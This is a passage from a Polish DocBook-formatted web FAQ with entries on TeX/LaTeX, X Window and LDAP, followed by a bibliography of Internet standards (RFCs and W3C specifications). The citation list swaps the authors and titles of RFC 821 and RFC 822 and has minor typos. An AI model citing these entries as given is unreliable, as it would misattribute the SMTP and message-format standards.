TEX wymawia się tech, ponieważ są to trzy duże greckie litery Tau,
Epsilon, Chi. Istnieje też polska wersja TEX-a nazywająca się MEX
(wym. mech). Litera E jest opuszczona w dół i dosunięta do
pozostałych, żeby zademonstrować możliwości systemu. Jest to system
stosunkowo ,,stary''. Prace nad nim zostały rozpoczęte w roku 1977, a
ukończone w 1982(6) roku i od tego czasu istnieje w (prawie)
niezmienionej postaci (za każdy wykryty błąd, czyli niezgodność z
dokumentacją, DEK wypłaca nagrodę). Jest to oprogramowanie klasy
public domain, z licencją zezwalającą dowolne użycie źródeł pod
warunkiem zmiany nazwy.</PARA>
<PARA>Jest wykorzystywany przez dwóch największych na świecie wydawców
tekstów naukowych tj. American Mathematical Society, oraz Springer
Verlag, a ponadto przez kilkadziesiąt innych cenionych wydawnictw,
takich jak: Addison-Wesley Publishing Group, Oxford University Press,
Elsevier Publishers, Kluwer Academic Publishers itd.</PARA>
<PARA>W 1992 roku powstała Polska Grupa Użytkowników Systemu TEX (GUST).
Obecnie należy do niej około 200 osób, w większości pracowników
polskich wyższych uczelni. Co roku organizowana jest Ogólnopolska
Konferencja Użytkowników TEX-a w Bachotku koło Brodnicy.</PARA>
<PARA>LaTeX jest zestawem makr i stylów TeXa pozwalającym na
zestrukturalizowane, ,,wysokopoziomowe'' pisanie pewnych
przygotowanych klas dokumentów. LaTeX2e jest nową implementacją
pakietu LaTeX L.Lamporta. Został stworzony przez znanych TeX-pertów
pp. Michel Goossens'a, Franka Mittelbacha oraz Alexandra Samarin'a.
Pakiet ma budowę warstwową; główny wysiłek autorów został skierowany
na zdefiniowanie zbioru poleceń ułatwiających tworzenie własnych
zbiorów makroinstrukcji. W tej ,,technicznej'' warstwie został
napisany pakiet nowego LaTeXa.</PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="http://www.tug.org/" ROLE="htmlurl">TeX User Group</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.GUST.org.pl/" ROLE="htmlurl">GUST --- polska Grupa Użytkowników Systemu TeX</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA>Tobias Oetiker 
<ULINK URL="ftp://ftp.ctan.org/tex-archive/info/lshort/english/lshort.pdf" ROLE="htmlurl">``The Not So Short Inroduction to LaTeX2e.</ULINK> Or LaTeX2e in
71 minutes''

<ULINK URL="http://www.gust.org.pl/PDF/PDF/lshort2e.pdf" ROLE="htmlurl">(wersja polska)</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.cogs.susx.ac.uk/cgi-bin/texfaq2html">TeX FAQ</ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</SECT1>
<SECT1 ID="X">
<TITLE>X Window System</TITLE>
<PARA><PRODUCTNAME CLASS="TRADE">X Window System</PRODUCTNAME>
<ABBREV LANG="en">X</ABBREV>
--- jest przenośnym, przezroczystym dla sieci
systemem graficznym działającym na wielu platformach
sprzętowo-programowych.</PARA>
<PARA>X Consortium (grupa dawniej zarządzająca rozwojem X) żądała by
stosunku do tego oprogramowania używać następujących określeń:
<SIMPLELIST TYPE="VERT">
<MEMBER>X</MEMBER>
<MEMBER>X Window System</MEMBER>
<MEMBER>X Version 11</MEMBER>
<MEMBER>X Window System, Version 11</MEMBER>
<MEMBER>X11</MEMBER>
</SIMPLELIST>
nie zaś np.
<APPLICATION MOREINFO="NONE">XWindows</APPLICATION>
Podstawową różnicą w stosunku do innych systemów GUI
jest owa przeźroczystość dla sieci, pozwalająca na lokalnym X Display
Server pracować na aplikacjach (X klientach) uruchamianych na zdalnym
komputerze. Przy czym sam serwer X11 nie zapewnia nic poza obszarem do
wyświetlania, wywołaniami systemowymi oraz (częściowo) metodami
autentyfikacji (tak sesji użytkownika na zdalnych maszynach, jak i
sesji klienckich na lokalnym terminalu). Za wygląd środowiska pracy,
sterowanie zdarzeniami odpowiada specyficzna klasa klientów zwana
zarządcami okien (window manager). Innym elementem składającym się na
działanie X są klasy tzw. widgetów czyli bibliotek tworzących typowe
elementy wyświetlane przez
<ABBREV LANG="en">wm</ABBREV>
. Jednym z
bardziej znanych zestawów
<PRODUCTNAME CLASS="TRADE">window manager</PRODUCTNAME>
i klasy widgetów jest
<PRODUCTNAME CLASS="TRADE">Motif</PRODUCTNAME>
wytwarzany przez wielu producentów --- jest też darmowa
implementacja o nazwie
<ULINK URL="http://www.lesstif.org/" ROLE="html"><PRODUCTNAME CLASS="TRADE">Lesstif</PRODUCTNAME></ULINK>
W oparciu o Motifa stworzono środowisko pracy CDE. Innymi
znanymi window managerami są: NeXTStep, fvwm czy modne ostatnio
środowiska (a więc nie tylko wm ale i inne elementy)
<ULINK URL="http://www.kde.org/" ROLE="htmlurl">K Desktop Environment.</ULINK>
i
<ULINK URL="http://www.GNome.org/" ROLE="htmlurl">Gnome</ULINK></PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="news:pl.comp.sys.xwindow" ROLE="news">grupa
<FILENAME MOREINFO="NONE">pl.comp.sys.xwindow</FILENAME></ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA>Codematic i Przemek Borys
<ULINK URL="http://rhea.waw.ids.edu.pl/%E7pborys/xfaq/index.html" ROLE="htmlurl">pl.comp.sys.Xwindow FAQ</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="man:X" ROLE="url"><FILENAME MOREINFO="NONE">man X</FILENAME></ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.PLiG.org/xwinman/" ROLE="htmlurl">przegląd window managerów @PLIG </ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA>Tomasz Barbaszewski
<EMPHASIS>X</EMPHASIS>
[w:]
<ULINK URL="http://www.Linux.com.pl/" ROLE="htmlurl">Linux+ 5/97</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.X.org/consortium/broadway.html" ROLE="htmlurl">X.org</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.XFree86.org/" ROLE="htmlurl">XFree86 ---
projekt darmowych Xów</ULINK>
dla platformy sprzętowej opartej o
procesory Intel x86. dostępne w tej chwili są implementacje na
większość 32 bitowych systemów tej platformy z wyjątkiem MS Win32.</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.netmanage.com/" ROLE="htmlurl">NetManage ---
jeden z dostawców X Serwerów dla MS Win32</ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</SECT1>
<SECT1 ID="LDAP">
<TITLE>LDAP</TITLE>
<PARA>Jest uproszczoną wersją usługi słownikowej
<ULINK URL="http://x500.ICM.edu.pl/" ROLE="htmlurl">X.500</ULINK>
pozwalającej lokalizować osoby, obiekty w sieci rozproszonej.
Rozwijane na
<ULINK URL="http://www.umich.edu/%7Ersug/ldap/" ROLE="htmlurl">Uniwersytecie Michigan --- UMICH</ULINK></PARA>
<PARA></PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="http://SunSite.ICM.edu.pl/pub/doc/rfc/rfc1777.txt" ROLE="rfc">RFC 1777</ULINK>
<EMPHASIS>DS</EMPHASIS>
W. Yeong, T.
Howes, S. Kille,
<EMPHASIS>Lightweight Directory Access Protocol</EMPHASIS>
03/28/1995. (stron=22) (Unieważnia RFC1487)</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://home.netscape.com/newsref/ref/ldap.html" ROLE="htmlurl">LDAP @ Netscape Communication</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www-leland.stanford.edu/group/networking/directory/x500ldapfaq.html" ROLE="htmlurl">LDAP FAQ @ Stanford</ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</SECT1>
</CHAPTER>
<CHAPTER ID="STANDARDY">
<TITLE ID="STD">Standardy i informacje dla Internetu</TITLE>
<SECT1 ID="CO-TO-STANDARD">
<TITLE>Standardy</TITLE>
<PARA ID="RFC">Internet nie posiada scentralizowanej struktury Jednak posiada dość
dobrze udokumentowaną stronę techniczną. Paradoks? Oczywiście. Jak
cała sieć. Odpowiednie informacje na temat zasad tworzenia standardów,
ciał nad nimi (standardami) debatujących itd. można znaleźć w
dokumentach wymienionych w części pierwszej tego rozdziału. W
kolejnych paragrafach wymieniam te standardy i specyfikacje które
wydają mi się ważne dla rozwoju pajęczyny, pomijając istotne kwestie
np. szyfrowania (które są istotne i zamierzam opisać je w
przyszłości), czy też protokoły trasowania (routingu), zmiany adresów
MAC na IP (które są istotne, ale stanowią raczej wdzięczny temat dla
nieistniejącego FAQ grupy
<ULINK URL="news:pl.comp.networking" ROLE="news">pl.comp.networking)</ULINK></PARA>
<PARA>Przez standard rozumiem uznane przez ,,czynniki oficjalne'', dostępne
publicznie specyfikacje. Nie może być standardem nie upublicznione w
formie opisu technicznego rozwiązanie konkretnego producenta. Podobnie
nie są standardami
<EMPHASIS>standardy de-facto</EMPHASIS>
--- czyli rozwiązania na tyle powszechne, że ,,wszyscy z nich korzystają'', 
jednak nie znormalizowane i szczegółowo opisane.</PARA>
</SECT1>
<SECT1 ID="PROCEDURY">
<TITLE>Procedury, definicje, zasady zachowania się w sieci.</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA ID="STD-OGOLNIE"></PARA>
<PARA ID="RFC2000"><ULINK URL="http://SunSite.ICM.edu.pl/pub/doc/rfc/rfc2400.txt" ROLE="rfc">RFC 2400</ULINK>
<EMPHASIS>S</EMPHASIS>
J. Postel, J. Reynolds. 
<EMPHASIS>"INTERNET OFFICIAL PROTOCOL STANDARDS"</EMPHASIS>
September 1998</PARA>
</LISTITEM>
<LISTITEM>
<PARA ID="RFC2151"><ULINK URL="http://SunSite.ICM.edu.pl/pub/doc/rfc/rfc2151.txt" ROLE="rfc">RFC 2151</ULINK>
<EMPHASIS>I</EMPHASIS>
G. Kessler, S.  Shepard, 
<EMPHASIS>"A Primer On Internet and TCP/IP Tools and Utilities"</EMPHASIS>
06/10/1997. (Liczba stron --- 52) (FYI 30)
(unieważnia RFC1739)</PARA>
</LISTITEM>
<LISTITEM>
<PARA ID="RFC1983"><ULINK URL="http://SunSite.ICM.edu.pl/pub/doc/rfc/rfc1983.txt" ROLE="rfc">RFC 1983</ULINK>
<EMPHASIS>I</EMPHASIS>
G. Malkin,
<EMPHASIS>Internet Users' Glossary</EMPHASIS>
08/16/1996. (Liczba
stron --- 62) (FYI 18) (Unieważnia RFC1392)</PARA>
</LISTITEM>
<LISTITEM>
<PARA ID="RFC1935"><ULINK URL="http://SunSite.ICM.edu.pl/pub/doc/rfc/rfc1935.txt" ROLE="rfc">RFC 1935</ULINK>
<EMPHASIS>I</EMPHASIS>
J. Quarterman,
S. Carl-Mitchell,
<EMPHASIS>What is the Internet, Anyway?</EMPHASIS>
04/10/1996. (Liczba stron --- 11)</PARA>
</LISTITEM>
<LISTITEM>
<PARA ID="RFC1855"><ULINK URL="http://SunSite.ICM.edu.pl/pub/doc/rfc/rfc1855.txt" ROLE="rfc">RFC 1855</ULINK>
<EMPHASIS>I</EMPHASIS>
S. Hambridge
<EMPHASIS>Netiquette Guidelines</EMPHASIS>
10/20/1995. (Liczba stron
--- 21) (FYI 28)</PARA>
</LISTITEM>
<LISTITEM>
<PARA ID="RFC2028"><ULINK URL="http://SunSite.ICM.edu.pl/pub/doc/rfc/rfc2028.txt" ROLE="rfc">RFC 2028</ULINK>
<EMPHASIS>BC</EMPHASIS>
R. Hovey, S.
Bradner,
<EMPHASIS>The Organizations Involved in the IETF Standards
Process</EMPHASIS>
10/29/1996. (Liczba stron --- 7)</PARA>
</LISTITEM>
<LISTITEM>
<PARA ID="RFC2027"><ULINK URL="http://SunSite.ICM.edu.pl/pub/doc/rfc/rfc2027.txt" ROLE="rfc">RFC 2027</ULINK>
<EMPHASIS>BC</EMPHASIS>
J. Galvin,
<EMPHASIS>IAB and IESG Selection, Confirmation, and Recall Process:
Operation of the Nominating and Recall Committees</EMPHASIS>
10/29/1996. (Liczba stron --- 11)</PARA>
</LISTITEM>
<LISTITEM>
<PARA ID="RFC2026"><ULINK URL="http://SunSite.ICM.edu.pl/pub/doc/rfc/rfc2026.txt" ROLE="rfc">RFC 2026</ULINK>
<EMPHASIS>BC</EMPHASIS>
S. Bradner,
<EMPHASIS>The Internet Standards Process --- Revision 3</EMPHASIS>
10/29/1996. (Liczba stron --- 36) (Uaktualnia RFC1602) (Unieważnia
RFC1602)</PARA>
</LISTITEM>
<LISTITEM>
<PARA ID="RFC1796"><ULINK URL="http://SunSite.ICM.edu.pl/pub/doc/rfc/rfc1796.txt" ROLE="rfc">RFC 1796</ULINK>
<EMPHASIS>BC</EMPHASIS>
Huitema, C.,
J. Postel, and S. Crocker
<EMPHASIS>Not All RFCs are Standards</EMPHASIS>
10/04/1995.</PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</SECT1>
<SECT1 ID="STD-SGML">
<TITLE>SGML/XML/HTML</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="http://www.w3.org/TR/REC-xml" ID="STD-XML" ROLE="htmlurl">XML</ULINK></PARA>
</LISTITEM>
<LISTITEM ID="HTML4">
<PARA ID="STD-COGUAR">Dave Raggett,
Arnaud Le Hors,
Ian Jacobs
<ULINK URL="http://www.w3.org/TR/REC-html40" ID="STD-HTML" ROLE="htmlurl">HTML 4.0 Specification W3C Recommendation 18-Dec-1997</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA ID="STD-WILBUR"><ULINK URL="http://www.w3.org/pub/WWW/TR/REC-html32.html" ROLE="htmlurl">HTML 3.2 Reference Specification</ULINK>
W3C
Recommendation 14-Jan-1997 Dave Raggett
<ULINK URL="mailto:dsr@w3.org" ROLE="mailto">dsr@w3.org</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA ID="RFC-HTML"><ULINK URL="http://SunSite.ICM.edu.pl/pub/doc/rfc/rfc1866.txt" ID="RFC1866" ROLE="htmlurl">RFC 1866</ULINK>
<EMPHASIS>PS</EMPHASIS>
T.
Berners-Lee, D. Connolly,
<EMPHASIS>Hypertext Markup Language - 2.0</EMPHASIS>
11/03/1995. (Liczba stron --- 77)</PARA>
</LISTITEM>
<LISTITEM>
<PARA ID="RFC1887"><ULINK URL="http://SunSite.ICM.edu.pl/pub/doc/rfc/rfc1867.txt" ROLE="rfc">RFC 1867</ULINK>
<EMPHASIS>E</EMPHASIS>
E. Nebel, L.
Masinter,
<EMPHASIS>Form-based File Upload in HTML</EMPHASIS>
11/07/1995. (Liczba stron --- 13)</PARA>
</LISTITEM>
<LISTITEM>
<PARA ID="RFC1942"><ULINK URL="http://SunSite.ICM.edu.pl/pub/doc/rfc/rfc1942.txt" ROLE="rfc">RFC 1942</ULINK>
<EMPHASIS>E</EMPHASIS>
D. Raggett
<EMPHASIS>HTML Tables</EMPHASIS>
05/15/1996. (Liczba stron --- 30)</PARA>
</LISTITEM>
<LISTITEM>
<PARA ID="RFC1980"><ULINK URL="http://SunSite.ICM.edu.pl/pub/doc/rfc/rfc1980.txt" ROLE="rfc">RFC 1980</ULINK>
<EMPHASIS>I</EMPHASIS>
J. Seidman
<EMPHASIS>A Proposed Extension to HTML: Client-Side Image Maps</EMPHASIS>
08/14/1996. (Liczba stron --- 7)</PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</SECT1>
<SECT1 ID="STD-CSS-XSL-DSSSL">
<TITLE>CSS/XSL/DSSSL</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="http://www.w3.org/TR/REC-CSS1" ROLE="htmlurl">CSS1 W3C
Recommendation</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.w3.org/TR/REC-CSS2" ROLE="htmlurl">CSS2 W3C
Recommendation</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.w3.org/TR/" ROLE="htmlurl">Positioning HTML
Elements with Cascading Style Sheets</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.w3.org/TR/NOTE-XSL.html" ROLE="htmlurl">NOTE-XSL Proposal to W3C (1997-08-27)</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.w3.org/TR/WD-XSLReq" ROLE="htmlurl">XSL
Requirements Document (1998-05-11)</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.w3.org/TR/NOTE-xml-stylesheet" ROLE="htmlurl">Associating stylesheets with XML Documents</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="ftp://ftp.ornl.gov/pub/sgml/WG8/DSSSL/" ROLE="htmlurl">DSSSL Specification</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.ornl.gov/sgml/wg8/document/1883.htm" ROLE="htmlurl">Proposal for a Technical Corrigendum to the DSSSL
standard.</ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</SECT1>
<SECT1 ID="STD-URL">
<TITLE>URL, URI, URN</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA ID="RFC1739"><ULINK URL="http://SunSite.ICM.edu.pl/pub/doc/rfc/rfc1738.txt" ROLE="rfc">RFC 1738</ULINK>
<EMPHASIS>PS</EMPHASIS>
T.
Berners-Lee, L. Masinter, M. McCahill
<EMPHASIS>Uniform Resource
Locators (URL)</EMPHASIS>
12/20/1994. (Liczba stron --- 25)</PARA>
</LISTITEM>
<LISTITEM>
<PARA ID="RFC1808"><ULINK URL="http://SunSite.ICM.edu.pl/pub/doc/rfc/rfc1808.txt" ROLE="rfc">RFC 1808</ULINK>
<EMPHASIS>PS</EMPHASIS>
R. Fielding,
<EMPHASIS>Relative Uniform Resource Locators</EMPHASIS>
06/14/1995.
(Liczba stron --- 16)</PARA>
</LISTITEM>
<LISTITEM>
<PARA ID="RFC1700"><ULINK URL="http://SunSite.ICM.edu.pl/pub/doc/rfc/rfc1700.txt" ROLE="rfc">RFC 1700</ULINK>
<EMPHASIS>S</EMPHASIS>
J. Reynolds, J.
Postel
<EMPHASIS>ASSIGNED NUMBERS</EMPHASIS>
10/20/1994. (Liczba
stron --- 230) (Unieważnia RFC1340) (STD 2)</PARA>
</LISTITEM>
<LISTITEM>
<PARA ID="RFC1630"><ULINK URL="http://SunSite.ICM.edu.pl/pub/doc/rfc/rfc1630.txt" ROLE="rfc">RFC 1630</ULINK>
<EMPHASIS>I</EMPHASIS>
T. Berners-Lee,
<EMPHASIS>Universal Resource Identifiers in WWW: A Unifying Syntax
for the Expression of Names and Addresses of Objects on the Network as
used in the World-Wide Web</EMPHASIS>
06/09/1994. (Liczba stron ---
28)</PARA>
</LISTITEM>
<LISTITEM>
<PARA ID="RFC2017"><ULINK URL="http://SunSite.ICM.edu.pl/pub/doc/rfc/rfc2017.txt" ROLE="rfc">RFC 2017</ULINK>
<EMPHASIS>PS</EMPHASIS>
N. Freed, K.
Moore, A. Cargille,
<EMPHASIS>Definition of the URL MIME
External-Body Access-Type</EMPHASIS>
10/14/1996. (Liczba stron --- 5)</PARA>
</LISTITEM>
<LISTITEM>
<PARA ID="RFC2141"><ULINK URL="http://SunSite.ICM.edu.pl/pub/doc/rfc/rfc2141.txt" ROLE="rfc">RFC 2141</ULINK>
<EMPHASIS>PS</EMPHASIS>
R. Moats
<EMPHASIS>URN Syntax</EMPHASIS>
05/05/1997. (Liczba stron --- 8)</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://SunSite.icm.edu.pl/pub/doc/rfc/rfc2056.txt" ROLE="rfc">RFC 2056</ULINK>
<EMPHASIS>PS</EMPHASIS>
R. Denenberg, J. Kunze, D.
Lynch,
<EMPHASIS>Uniform Resource Locators for Z39.50</EMPHASIS>
11/05/1996. (Liczba stron --- 7)</PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</SECT1>
<SECT1 ID="STD-TRANSPORT">
<TITLE ID="RFC-HTTP"> 
Protokoły transportu dokumentów</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA ID="RFC2068"><ULINK URL="http://SunSite.ICM.edu.pl/pub/doc/rfc/rfc2068.txt" ROLE="rfc">RFC 2068</ULINK>
<EMPHASIS>PS</EMPHASIS>
R. Fielding,
J. Gettys, J. Mogul, H. Frystyk, T. Berners-Lee,
<EMPHASIS>Hypertext
Transfer Protocol --- HTTP/1.1</EMPHASIS>
01/03/1997. (Liczba stron
--- 162)</PARA>
</LISTITEM>
<LISTITEM>
<PARA ID="RFC1945"><ULINK URL="http://SunSite.ICM.edu.pl/pub/doc/rfc/rfc1945.txt" ROLE="rfc">RFC 1945</ULINK>
<EMPHASIS>I</EMPHASIS>
T. Berners-Lee,
R. Fielding, H. Nielsen,
<EMPHASIS>Hypertext Transfer Protocol ---
HTTP/1.0</EMPHASIS>
05/17/1996. (Liczba stron --- 60)</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://SunSite.ICM.edu.pl/pub/doc/rfc/rfc2109.txt" ROLE="rfc">RFC 2109</ULINK>
<EMPHASIS>PS</EMPHASIS>
D. Kristol, L.
Montulli,
<EMPHASIS>HTTP State Management Mechanism</EMPHASIS>
02/18/1997 (Liczba stron=21)</PARA>
</LISTITEM>
<LISTITEM>
<PARA ID="RFC-GOPHER"></PARA>
<PARA ID="RFC1436"><ULINK URL="http://SunSite.ICM.edu.pl/pub/doc/rfc/rfc1436.txt" ROLE="rfc">RFC 1436</ULINK>
<EMPHASIS>I</EMPHASIS>
F. Anklesaria,
M. McCahill, P. Lindner, D. Johnson, D. John, D. Torrey, B. Alberti,
<EMPHASIS>The Internet Gopher Protocol (a distributed document search
and retrieval protocol)</EMPHASIS>
03/18/1993. (Liczba stron --- 16)</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://SunSite.ICM.edu.pl/pub/doc/rfc/rfc1729.txt" ROLE="rfc">RFC 1729</ULINK>
<EMPHASIS>I</EMPHASIS>
C. Lynch,
<EMPHASIS>Using the Z39.50 Information Retrieval Protocol in the
Internet Environment</EMPHASIS>
, 12/16/1994. (Liczba stron: 8)</PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</SECT1>
<SECT1 ID="STD-MIME">
<TITLE ID="RFC-MIME">MIME</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA ID="RFC2077"><ULINK URL="http://SunSite.ICM.edu.pl/pub/doc/rfc/rfc2077.txt" ROLE="rfc">RFC 2077</ULINK>
<EMPHASIS>PS</EMPHASIS>
S. Nelson, C.
Parks, Mitra,
<EMPHASIS>The Model Primary Content Type for
Multipurpose Internet Mail Extensions</EMPHASIS>
01/10/1997. (Liczba
stron --- 13)</PARA>
</LISTITEM>
<LISTITEM>
<PARA ID="RFC2045"><ULINK URL="http://SunSite.ICM.edu.pl/pub/doc/rfc/rfc2045.txt" ROLE="rfc">RFC 2045</ULINK>
<EMPHASIS>DS</EMPHASIS>
N. Freed, N.
Borenstein
<EMPHASIS>Multipurpose Internet Mail Extensions (MIME)
Part One: Format of Internet Message Bodies</EMPHASIS>
12/02/1996.
(Liczba stron --- 31) (Unieważnia RFC1521)</PARA>
</LISTITEM>
<LISTITEM>
<PARA ID="RFC2046"><ULINK URL="http://SunSite.ICM.edu.pl/pub/doc/rfc/rfc2046.txt" ROLE="rfc">RFC 2046</ULINK>
<EMPHASIS>DS</EMPHASIS>
N. Freed, N.
Borenstein,
<EMPHASIS>Multipurpose Internet Mail Extensions (MIME)
Part Two: Media Types</EMPHASIS>
12/02/1996. (Liczba stron --- 44)
(Unieważnia RFC1521)</PARA>
</LISTITEM>
<LISTITEM>
<PARA ID="RFC2047"><ULINK URL="http://SunSite.ICM.edu.pl/pub/doc/rfc/rfc2047.txt" ROLE="rfc">RFC 2047</ULINK>
<EMPHASIS>DS</EMPHASIS>
K. Moore,
<EMPHASIS>MIME (Multipurpose Internet Mail Extensions) Part Three:
Message Header Extensions for Non-ASCII Text</EMPHASIS>
12/02/1996.
(Liczba stron --- 15) (Unieważnia RFC1522)</PARA>
</LISTITEM>
<LISTITEM>
<PARA ID="RFC2048"><ULINK URL="http://SunSite.ICM.edu.pl/pub/doc/rfc/rfc2048.txt" ROLE="rfc">RFC 2048</ULINK>
<EMPHASIS>BC</EMPHASIS>
N. Freed, J.
Klensin, J. Postel
<EMPHASIS>Multipurpose Internet Mail Extensions
(MIME) Part Four: Registration Procedures</EMPHASIS>
01/28/1997.
(Liczba stron --- 21) (Unieważnia RFC1590)</PARA>
</LISTITEM>
<LISTITEM>
<PARA ID="RFC2049"><ULINK URL="http://SunSite.ICM.edu.pl/pub/doc/rfc/rfc2049.txt" ROLE="rfc">RFC 2049</ULINK>
<EMPHASIS>DS</EMPHASIS>
N. Freed, N.
Borenstein,
<EMPHASIS>Multipurpose Internet Mail Extensions (MIME)
Part Five: Conformance Criteria and Examples</EMPHASIS>
12/02/1996.
(Liczba stron --- 24) (Unieważnia RFC1521)</PARA>
</LISTITEM>
<LISTITEM>
<PARA ID="RFC2110"><ULINK URL="http://SunSite.ICM.edu.pl/pub/doc/rfc/rfc2110.txt" ROLE="rfc">RFC 2110</ULINK>
<EMPHASIS>PS</EMPHASIS>
J. Palme, A.
Hopman,
<EMPHASIS>MIME E-mail Encapsulation of Aggregate Documents,
such as HTML (MHTML)</EMPHASIS>
03/12/1997. (Stron=19)</PARA>
</LISTITEM>
<LISTITEM>
<PARA ID="RFC2112"><ULINK URL="http://SunSite.ICM.edu.pl/pub/doc/rfc/rfc2112.txt" ROLE="rfc">RFC 2112</ULINK>
<EMPHASIS>PS</EMPHASIS>
E. Levinson,
<EMPHASIS>The MIME Multipart/Related Content-type</EMPHASIS>
03/12/1997. (Stron=9) (Anuluje RFC1872)</PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</SECT1>
<SECT1 ID="STD-VR">
<TITLE ID="RFC-VRML">Wirtualna rzeczywistość</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="http://www.dcs.ed.ac.uk/home/mxr/gfx/3d/VRML.spec" ROLE="htmlurl">VRML 1.0 - Specyfikacja</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://vag.vrml.org/VRML2.0/FINAL/" ROLE="htmlurl">VRML
2.0 - Specyfikacja (vag.vrml.org)</ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</SECT1>
<SECT1 ID="STD-JAVA">
<TITLE ID="RFC-JAVA">Języki programowania</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA>James Gosling, Bill Joy, Guy Stele
<EMPHASIS>The Java Language Specification</EMPHASIS>
(ISBN 0-201063451-1)</PARA>
</LISTITEM>
<LISTITEM>
<PARA>Tim Lindholm, Frank Yellin,
<EMPHASIS>The Java Virtual Machine
Specification</EMPHASIS>
(ISBN 0-20163452-X)</PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</SECT1>
<SECT1 ID="STD-INTERAKCJA">
<TITLE>Interakcja z serwerem</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA ID="RFC-CGI">D.R.T.Robinson
<ULINK URL="http://SunSite.ICM.edu.pl/pub/doc/internet-drafts/" ROLE="htmlurl">draft-robinson-www-interface-01.html</ULINK>
<EMPHASIS>The WWW Common Gateway Interface Version 1.1</EMPHASIS>
(15.02.1996)</PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</SECT1>
<SECT1 ID="STD-NEWS-MAIL">
<TITLE ID="RFC-NEWS-MAIL"> 
UsenetNews i E-Mail</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA ID="RFC821"><ULINK URL="http://SunSite.ICM.edu.pl/pub/doc/rfc/rfc821.txt" ROLE="rfc">RFC 821</ULINK>
<EMPHASIS>S</EMPHASIS>
D. Crocker,
<EMPHASIS>Standard for the format of ARPA Internet text messages</EMPHASIS>
08/13/1982. (Liczba stron: 47) (Unieważnia RFC0733) (STD
11) (UpDated by RFC1327, RFC0987)</PARA>
</LISTITEM>
<LISTITEM>
<PARA ID="RFC822"><ULINK URL="http://SunSite.ICM.edu.pl/pub/doc/rfc/rfc822.txt" ROLE="rfc">RFC 822</ULINK>
<EMPHASIS>S</EMPHASIS>
J. Postel,
<EMPHASIS>Simple Mail Transfer Protocol</EMPHASIS>
08/01/1982.
(Liczba stron: 58) (Unieważnia RFC0788) (STD 10)</PARA>
</LISTITEM>
<LISTITEM>
<PARA ID="RFC1123"><ULINK URL="http://SunSite.ICM.edu.pl/pub/doc/rfc/rfc1123.txt" ROLE="rfc">RFC 1123</ULINK>
<EMPHASIS>S</EMPHASIS>
R. Braden
<EMPHASIS>Requirements for Internet hosts - application and support</EMPHASIS>
10/01/1989. (Liczba stron: 98) (STD 3)</PARA>
</LISTITEM>
<LISTITEM>
<PARA ID="RFC1036"><ULINK URL="http://SunSite.ICM.edu.pl/pub/doc/rfc/rfc1036.txt" ROLE="rfc">RFC 1036</ULINK>
<EMPHASIS></EMPHASIS>
M. Horton, R.
Adams,
<EMPHASIS>Standard for interchange of USENET messages</EMPHASIS>
